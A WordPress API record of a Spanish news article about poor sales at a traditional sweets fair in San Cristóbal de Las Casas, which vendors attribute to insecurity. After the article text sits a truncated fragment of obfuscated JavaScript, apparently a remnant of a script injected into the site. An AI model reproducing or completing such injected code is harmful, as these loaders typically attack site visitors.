{"id":4161,"date":"2022-08-05T02:50:32","date_gmt":"2022-08-05T02:50:32","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=4161"},"modified":"2022-08-05T02:50:33","modified_gmt":"2022-08-05T02:50:33","slug":"feria-del-dulce-tradicional-con-bajas-ventas","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=4161","title":{"rendered":"Feria del dulce tradicional con bajas ventas"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/08\/WhatsApp-Image-2022-08-04-at-2.00.58-PM-1024x768.jpeg\" alt=\"\" class=\"wp-image-4162\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/08\/WhatsApp-Image-2022-08-04-at-2.00.58-PM-1024x768.jpeg 1024w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/08\/WhatsApp-Image-2022-08-04-at-2.00.58-PM-300x225.jpeg 300w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/08\/WhatsApp-Image-2022-08-04-at-2.00.58-PM-768x576.jpeg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/08\/WhatsApp-Image-2022-08-04-at-2.00.58-PM.jpeg 1280w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u00d3scar G\u00f3mez <\/p>\n\n\n\n<p>San Crist\u00f3bal de Las Casas.- Dulceras tradicionales que participan en la Feria 2022 que se realizar\u00e1 hasta 7 de agosto en los corredores frontales del Museo de San Crist\u00f3bal (Musac) han reportado adem\u00e1s de bajas ventas, mermas y p\u00e9rdidas en sus productos, lo cual llega hasta los 350 pesos en un d\u00eda, sobre todo en los dulces que llevan manjar y turr\u00f3n. En un sondeo, argumentan que los productos se echan a perder, ya que desde el d\u00eda domingo que se instalaron las ventas han sido muy bajas, ya que consideran por la inseguridad y los \u00faltimos acontecimientos en la ciudad la gente teme acudir a espacios y eventos p\u00fablicos, aunado a que la afluencia tur\u00edstica y de visitantes ha sido baja en este inicio de temporada vacacional. Tr\u00e1nsito Mijangos D\u00edaz coment\u00f3 en entrevista que la gente ha estado tranquila y no es lo que esperaban las 58 dulceras tradicionales que participan en esta Feria, &#8220;quisi\u00e9ramos m\u00e1s venta y la poca asistencia de la gente tiene que ver con lo que ha pasado en San Crist\u00f3bal que nos ha afectado mucho, porque ahora ya no salen si no tienen nada qu\u00e9 hacer, ya no muy salen a dar la vuelta por temor, a m\u00ed se me hace que ese es el problema la inseguridad&#8221;. Sobre la tradici\u00f3n de la elaboraci\u00f3n de dulces, dijo que se encuentra vigente, ya que todav\u00eda hay varios productores y cuentan con una variedad de cocadas, chimbos, gaznates, merengue, dulces de manjar, mocas, higos, calabaza, camote &#8220;de todo, contamos con gran variedad, todos los artesanos que estamos aqu\u00ed preparamos el dulce, casi no ha desaparecido ninguno, aunque hay algunos que ya no se hacen como el dulce cristalizado, antes se hac\u00eda mucho y ahora ya no&#8221;.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>\u00d3scar G\u00f3mez San Crist\u00f3bal de Las Casas.- Dulceras tradicionales que participan en la Feria 2022 que se realizar\u00e1 hasta 7 de agosto en los corredores frontales del Museo de San Crist\u00f3bal (Musac) han reportado adem\u00e1s de bajas ventas, mermas y p\u00e9rdidas en sus productos, lo cual llega hasta los 350 pesos en un d\u00eda, sobre &hellip;<\/p>\n","protected":false},"author":2,"featured_media":4162,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-4161","post","type-post","status-publish","format-standard","has-post-thumbnail","","category-chiapas"],"_links":{"self":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/4161","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4161"}],"version-history":[{"count":1,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/4161\/revisions"}],"predecessor-version":[{"id":4163,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/posts\/4161\/revisions\/4163"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=\/wp\/v2\/media\/4162"}],"wp:attachment":[{"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4161"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reporteciudadanochiapas.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}